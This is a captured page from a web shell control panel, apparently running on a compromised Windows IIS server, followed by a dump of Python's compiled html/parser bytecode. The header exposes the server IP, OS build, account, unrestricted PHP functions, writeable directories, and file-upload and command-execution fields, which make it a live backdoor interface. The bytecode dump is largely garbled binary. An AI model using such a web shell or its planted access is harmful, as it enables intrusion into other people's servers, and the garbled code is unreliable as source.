403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/html/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/html/__pycache__/parser.cpython-315.opt-1.pyc
R
>lqjY\c��Qs]PHs]PHs]QHGs]QHGsQ,s\OQ2s
\OQ2s\OQ2s\OQ2s
\OQ2s\OQ	2s\OQ
2s\OQ2s\OQ2s\OQ
2s\OQ2s\OQ2s\OQ\O,2s\OQ\O,2s\OQ\O,2s\OQ2s\OQ2sQsQsQQ\O<2sP!)zA parser for HTML and XHTML.)�unescape)�html5�
HTMLParserz[&<]z
&[a-zA-Z#]z%&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]z)&#(?:[0-9]+|[xX][0-9a-fA-F]+)[^0-9a-fA-F]z&#(?:[0-9]|[xX][0-9a-fA-F])z6&(#[0-9]+|#[xX][0-9a-fA-F]+|[a-zA-Z][a-zA-Z0-9]*)[;=]?z	<[a-zA-Z]z
</[a-zA-Z]�>z--!?>z-?>z0([a-zA-Z][^\t\n\r\f />]*)(?:[\t\n\r\f ]|/(?!>))*a{
  (
    (?<=['"\t\n\r\f /])[^\t\n\r\f />][^\t\n\r\f /=>]*  # attribute name
   )
  ([\t\n\r\f ]*=[\t\n\r\f ]*        # value indicator
    ('[^']*'                        # LITA-enclosed value
    |"[^"]*"                        # LIT-enclosed value
    |(?!['"])[^>\t\n\r\f ]*         # bare value
    )
   )?
  (?:[\t\n\r\f ]|/(?!>))*           # possibly followed by a space
a
  [a-zA-Z][^\t\n\r\f />]*           # tag name
  [\t\n\r\f /]*                     # optional whitespace before attribute name
  (?:(?<=['"\t\n\r\f /])[^\t\n\r\f />][^\t\n\r\f /=>]*  # attribute name
    (?:[\t\n\r\f ]*=[\t\n\r\f ]*    # value indicator
      (?:'[^']*'                    # LITA-enclosed value
        |"[^"]*"                    # LIT-enclosed value
        |(?!['"])[^>\t\n\r\f ]*     # bare value
       )
     )?
    [\t\n\r\f /]*                   # possibly followed by a space
   )*
   >?
aF
  <[a-zA-Z][^\t\n\r\f />\x00]*       # tag name
  (?:[\s/]*                          # optional whitespace before attribute name
    (?:(?<=['"\s/])[^\s/>][^\s/=>]*  # attribute name
      (?:\s*=+\s*                    # value indicator
        (?:'[^']*'                   # LITA-enclosed value
          |"[^"]*"                   # LIT-enclosed value
          |(?!['"])[^>\s]*           # bare value
         )
        \s*                          # possibly followed by a space
       )?(?:\s|/(?!>))*
     )*
   )?
  \s*                                # trailing whitespace
z#</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>c���UO]2oUOQ2%c[U2!UOQ2%fUQ*[7c[U2!U!)��&#�=:�NN)�group�
startswithr�endswith�html5_entities)�match�refs& � C:\Python315\\Lib\html\parser.py�_replace_attr_charrefr]sS��
�+�+�a�.�C�
�~�~�d�����}���<�<�����R��N�!:���}���J�c�8�[O[U2!�N)�attr_charref�subr)�ss&r�_unescape_attrvalueris�����1�1�5�5rc�``�\sQs]msnQsQ sQ!sQP	QP
-U1QkksU1QksQs	Qs
PsQsQ	P
-Q
ks
QsQ"QksQ
sQsQ"QksQ#QksQsQsQsQsQsQsQsQsQsQsQsQsQs Qs!Qs"Us#U9s$!)$raFind tags and other markup and call handler functions.

Usage:
    p = HTMLParser()
    p.feed(data)
    ...
    p.close()

Start tags are handled by calling self.handle_starttag() or
self.handle_startendtag(); end tags by self.handle_endtag().  The
data between tags is passed from the parser to the derived class
by calling self.handle_data() with the data as argument (the data
may be split up in arbitrary chunks).  If convert_charrefs is
True the character references are converted automatically to the
corresponding Unicode character (and self.handle_data() is no
longer split in chunks), otherwise they are passed by calling
self.handle_entityref() or self.handle_charref() with the string
containing respectively the named or numeric reference as the
argument.
�convert_charrefs�	scriptingc�^:�[RU_2VmV mUO	2P!)aJInitialize and reset this instance.

If convert_charrefs is true (the default), all character references
are automatically converted to the corresponding Unicode characters.

If *scripting* is false (the default), the content of the
``noscript`` element is parsed normally; if it's true,
it's returned as is without being parsed.
)�super�__init__rr�reset)�selfrr�	__class__s&$$�rr�HTMLParser.__init__�s$���	���� 0��"���
�
�rc�:�PUmQUm[UmPUmP	UmP	Um,Um]Um]Um	[RU_-2P!)z1Reset this instance.  Loses all unprocessed data.z???)�rawdata�lasttag�interesting_normal�interesting�
cdata_elem�_support_cdata�
_escapable�_pending�_pending_len�_parse_thresholdrr)r r!s&�rr�HTMLParser.reset�sO���������-������"��������
���� !���
��
�rc��U9O[U2*
tmUOUO6cUOO	U2P!UO%fU9O
U*
tmLgUOO	U2U9O
PO
UO2*
tmUOO2]Um[UO
2oUO]2[UO
2U6c
]UmP![UO
2UmP!)zyFeed data to the parser.

Call this as often as you want, with as little or as much text
as you want (may include '\n').
)	r,�lenr-r+�appendr$�join�clear�goahead)r �data�ns&& r�feed�HTMLParser.feed�s���	
���S��Y�&�����t�4�4�4��M�M� � ��&��=�=�=�����$���
�
�$�$�T�*��������
�
� 6�6���
�
�#�#�%� !�D���D�L�L�!�A��L�L��O��4�<�<� �1�$�()��%�),�D�L�L�(9��%rc���UO%cTU9OPOUO2*
tmUOO2]UmUO]2P!)zHandle any buffered data.)r+r$r2r3r,r4�r s&r�close�HTMLParser.close�sI���=�=�=��L�L�B�G�G�D�M�M�2�2�L��M�M���!� !�D�����Q�rc��UO!)z)Return full source of start tag: '<...>'.)�_HTMLParser__starttag_textr:s&r�get_starttag_text�HTMLParser.get_starttag_text�s���#�#�#r�	escapablec��UO2UmV mUOQ6Xc[OQ2UmP!U%ceUO%fS[OQUO*[O[O*2UmP![OQUO*[O[O*2UmP!)�	plaintextz\zz&|</%s(?=[\t\n\r\f />])z</%s(?=[\t\n\r\f />]))	�lowerr(r*�re�compiler'r�
IGNORECASE�ASCII)r �elemrAs&&$r�set_cdata_mode�HTMLParser.set_cdata_mode�s����*�*�,���#���?�?�k�)�!�z�z�%�0�D��
�t�4�4�4�!�z�z�*D�t���*V�*,�-�-����*@� B�D�� "�z�z�*B�T�_�_�*T�*,�-�-����*@� B�D�rc�:�[UmPUmP	UmP!r)r&r'r(r*r:s&r�clear_cdata_mode�HTMLParser.clear_cdata_mode�s��-��������rc��VmP!)a�Enable or disable support of the CDATA sections.
If enabled, "<[CDATA[" starts a CDATA section which ends with "]]>".
If disabled, "<[CDATA[" starts a bogus comments which ends with ">".

This method is not called by default. Its purpose is to be called
in custom handle_starttag() and handle_endtag() methods, with
value that depends on the adjusted current node.
See https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
for details.
)r))r �flags&&r�_set_support_cdata�HTMLParser._set_support_cdata�s
��#�rc�F�UOo]o[U2oV46Cc�UO%c�UO%fsUO	QU2oU]6cYUOQ[
V4]"*
22oU]6�c.[OQ2OV&2%fCL�SoLJUOOV#2oU%cUO2oLUO%cCL�SoV56cUUO%c0UO%cUO[V#U22LUOV#U2UOV52oV46XcCL0UO oUQU2%Cc�["O%V#2%cUO'U2o	L�UQU2%cUO)U2o	L�UQU2%cUO+U2o	LuUQU2%cUO-U2o	LTUQU2%cUO/U2o	L3U]*U6f	U%cUOQ2U]*o	LCL0U	]6Cc�U%fCL["O%V#2%cCL�UQU2%c[U]*U6XcUOQ2CLv[0O%V#2%cCLYUO3V#]*P2CL=UQU2%c[SoQ
FD6o
UO5V�]*2%fJ#U[U
2*oL	UO3V#]*U2L�UQU2%c.UO6%cUO9V#]*P2L�V#U]	*O;2Q	6XcUO=V#]*P2L_UQU2%cUO3V#]*P2L5UQU2%cUO?V#]*P2L[AQ
2gSo	UOV92oCJEUQU2%Cc[BO%V#2oU%chUOE2]PoUOGU2UOI2o	UQU	]*
2%f
U	]*
o	UOV92oCJ�[JO%V#2oU%c8U%c.UOGV#]*P2UOV42oCL_CL]U]*U6c-UOQ2UOV3]*2oCJgCL!UQU2%fCJ{[LO%V#2oU%cfUOE]2oUOOU2UOI2o	UQU	]*
2%f
U	]*
o	UOV92oCJ�[PO%V#2oU%c6U%c-UOOV#]*P2UOV42oL<L;U]*U6c-UOQ2UOV3]*2oCJ�U%clV46cfUO%c0UO%cUO[V#U22LUOV#U2UOV42oV#PUmP!)r�<�&z[\t\n\r\f ;]z</�<!--z<?z<!�	<![CDATA[�	<!doctypezwe should not get here!r�;)z--!z--�-))r$r0rr(�find�rfind�maxrErF�searchr'�startr*�handle_datar�	updateposr�starttagopenr�parse_starttag�parse_endtag�
parse_comment�parse_pi�parse_html_declaration�
endtagopen�handle_commentrr)�unknown_declrD�handle_decl�	handle_pi�AssertionError�charrefr
�handle_charref�end�incomplete_charref�	entityref�handle_entityref�
incomplete)r rpr$�ir6�j�ampposrr�k�suffix�names&&          rr4�HTMLParser.goahead�s����,�,��
����L���e��$�$�$�T�_�_�_��L�L��a�(���q�5�%�]�]�3��A��t��=�F��!���J�J��7�>�>�w�O�O���A���(�(�/�/��;������
�A�������A��u��(�(�(�T�_�_�_��$�$�X�g��l�%;�<��$�$�W�q�\�2����q�$�A��v�u� �+�+�J��#�q�!�!��%�%�g�1�1��+�+�A�.�A���a�(�(��)�)�!�,�A����*�*��*�*�1�-�A���a�(�(��
�
�a�(�A���a�(�(��3�3�A�6�A��!�e�q�[�C��$�$�S�)��A��A���q�5���#�)�)�'�5�5��#�D�!�,�,��q�5�A�:� �,�,�T�2�'�-�-�g�9�9� �!�/�/��!���
�>�#�F�A�.�.���&8�F�&�/�/��!��<�<� !�S��[� 0�� %�'9��+�+�G�a�C��N�;�#�K��3�3��8K�8K�8K��)�)�'�A�#�$�-�8� �1�Q�3��-�-�/�;�>��(�(��1����7�#�D�!�,�,��+�+�G�a�C�D�M�:�#�D�!�,�,����w��s�t�}�5�,�-F�G�G��A��N�N�1�(���D�!�$�$��
�
�g�1��� �;�;�=��2�.�D��'�'��-��	�	��A�%�c�1�Q�3�/�/���E�����q�,�A��*�0�0��<�����+�+�G�a�C�D�M�:� �N�N�1�0������U�Q�Y��$�$�T�*����q�a�%�0�A���C��#�#�!����3��� �;�;�q�>�D��)�)�$�/��	�	��A�%�c�1�Q�3�/�/���E�����q�,�A��"�(�(��4�����-�-�g��c�d�m�<� �N�N�1�0������U�Q�Y��$�$�S�)����q�a�%�0�A���1�5��$�$�$������ � ��'�A�,�!7�8�� � ��1��.����q�$�A��r�{��rc��UOoV!U]*Q6XcUOU2!V!U]	*Q6XcXUO%cFUOQU]	*2oU]6cP!UO	V!]*U2U]*!V!U]	*O2Q6XcFUOQU]	*2oUP6XcP!UO
V!]*U2U]*!UOU2!)�rVrWz]]>rXr)r$rer)r[rjrDrk�parse_bogus_comment)r rur$rv�gtposs&&   rrg�!HTMLParser.parse_html_declaration�s����,�,���Q�q�S�>�V�#��%�%�a�(�(�
�q��s�^�{�
*�t�/B�/B�/B����U�A�a�C�(�A��1�u��	����g��c�1�o�.��q�5�L�
�q��s�^�
!�
!�
#�{�
2��L�L��a��c�*�E���{��	����W�q�S��/�0���7�N��+�+�A�.�.rc�4�UOo[OV1]*2oU%f'[O	V1]*2oU%fP!U%c+UO2oUO
V1]*U2UO2!)r})r$�commentabruptcloser�commentcloser^r_rirp)r ru�reportr$rrvs&&&   rre�HTMLParser.parse_comment�sp���,�,��#�(�(��A�#�6��� �'�'��1��5�E���	�����
�A�����!��Q��0��y�y�{�rc��UOoUOQU]*2oUP6XcP!U%cUOV1]*U2U]*!�r)r$r[ri)r rur�r$�poss&&&  rr~�HTMLParser.parse_bogus_comment�sP���,�,���l�l�3��!��$���"�9��I������!��C� 0�1��Q�w�rc���UOo[OV!]*2oU%fP!UO2oUO	V!]*U2UO2oU!)�)r$�picloser^r_rlrp�r rur$rrvs&&   rrf�HTMLParser.parse_pi�sT���,�,�����w�!��,����I��K�K�M�����w��s�A��'��I�I�K���rc�L�PUmUOU2oU]6cU!UOoV1UUm,o[O	V1]*2oUO2oUO
]2O29UmoVb6c�[O	V62oU%fL�UO
]]]2vq�oU
%fPoL<UQ*Qt96XcUPP6XfLUQ*Qt96XcUPP6Xc	LLU]PoU%c[U2oUOU	O2U12UO2oJ�V6UO2oUQ7cUOV1U2U!UOQ2%cUOVt2U!UO!Vt2VpO"7f!UO$%cUQ6XfUQ6XcUO'UP
Q5U!VpO(7cUO'UP	Q5U!)	N:Nr	N�'�"�/>�noscriptrC)rA)rr�)r>�check_for_whole_start_tagr$�tagfind_tolerantrrpr
rDr%�attrfind_tolerantrr1�stripr`r�handle_startendtag�handle_starttag�CDATA_CONTENT_ELEMENTSrrJ�RCDATA_CONTENT_ELEMENTS)
r ru�endposr$�attrsrrx�tag�m�attrname�rest�	attrvaluerps
&&           rrc�HTMLParser.parse_starttag�s��� $����/�/��2���A�:��M��,�,��&��0����� �&�&�w�!��4���I�I�K��"�[�[��^�1�1�3�3���s��j�!�'�'��3�A���()����1�a�(8�%�H�I�� �	��2��$�8�)�B�C�.�8��2��#�7��2�3��7�%�a��O�	��/�	�:�	��L�L�(�.�.�*�I�6�7�����A����%�%�'���k�!����W�v�.�/��M��<�<�����#�#�C�/��
�
� � ��,��2�2�2�����C�:�$5��{�"��#�#�C�5�#�9��
��4�4�4��#�#�C�4�#�8��
rc��UOo[OV!]*2oUO2oV$]*
*Q6wcP!U!)r	r)r$�locatetagendrrpr�s&&   rr��$HTMLParser.check_for_whole_start_tag�sB���,�,���"�"�7�a�C�0���I�I�K���Q�3�<�3���I��rc�4�UOoUOQU]*2]6cP![OV!2%f2V!]*U]*Q6Xc
U]*!UO	U2![
OV!]*2oUO
2oV$]*
*Q6wcP![OV!]*2oUO]2O2oUOU2UO2U!r�)r$r[rhrr~r�rpr�r
rD�
handle_endtagrM)r rur$rrvr�s&&    rrd�HTMLParser.parse_endtags����,�,���<�<��Q�q�S�!�A�%��I�����+�+���s�1�Q�3��3�&���s�
��/�/��2�2��"�"�7�a�C�0���I�I�K���Q�3�<�3���I�!�&�&�w�!��4���k�k�!�n�"�"�$�����3�������rc�L�UOV2UOU2P!r)r�r��r r�r�s&&&rr��HTMLParser.handle_startendtag"s�����S�(����3�rc��P!r�r�s&&&rr��HTMLParser.handle_starttag'���rc��P!rr�)r r�s&&rr��HTMLParser.handle_endtag+r�rc��P!rr��r rzs&&rro�HTMLParser.handle_charref/r�rc��P!rr�r�s&&rrs�HTMLParser.handle_entityref3r�rc��P!rr��r r5s&&rr`�HTMLParser.handle_data7r�rc��P!rr�r�s&&rri�HTMLParser.handle_comment;r�rc��P!rr�)r �decls&&rrk�HTMLParser.handle_decl?r�rc��P!rr�r�s&&rrl�HTMLParser.handle_piCr�rc��P!rr�r�s&&rrj�HTMLParser.unknown_declFr�r)�__starttag_textr*r-r+r,r)r(rr'r%r$r)�script�style�xmp�iframe�noembed�noframes)�textarea�title)T)r	)%�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�r�rrr7r;r>r?rJrMrQr4rgrer~rfrcr�rdr�r�r�rorsr`rirkrlrj�__static_attributes__�__classdictcell__�
__classcell__)r!�
__classdict__s@@rrrms������0Y��3��
�4�
�5�
��:�<��O�$�
B��
B��
#� O#�h/�2
�"	�	�.�d��< �

�
�
�
�
�
�
�
�
�
r) r�rE�_markupbase�htmlr�
html.entitiesrr
�__all__rFr&rtrrrnrqrrbrhr�r�r�r��VERBOSEr�r��locatestarttagend_tolerant�	endendtag�
endtagfindrr�
ParserBaserr�rr�<module>r�si��"�
���1��.���Z�Z��'��
�Z�Z��
%�
��J�J�>�?�	�
�*�*�@�
A���Z�Z� =�>���z�z�S�T���z�z�+�&��
�Z�Z��
%�
�
�*�*�S�/���z�z�(�#���Z�Z��'���:�:�Q�R���J�J� ��Z�Z����z�z�
��Z�Z�
��  �Z�Z�)��Z�Z���
�J�J�s�O�	�
�Z�Z�>�
?�
�
�6�Z
��'�'�Z
r

Youez - 2016 - github.com/yon3zu
LinuXploit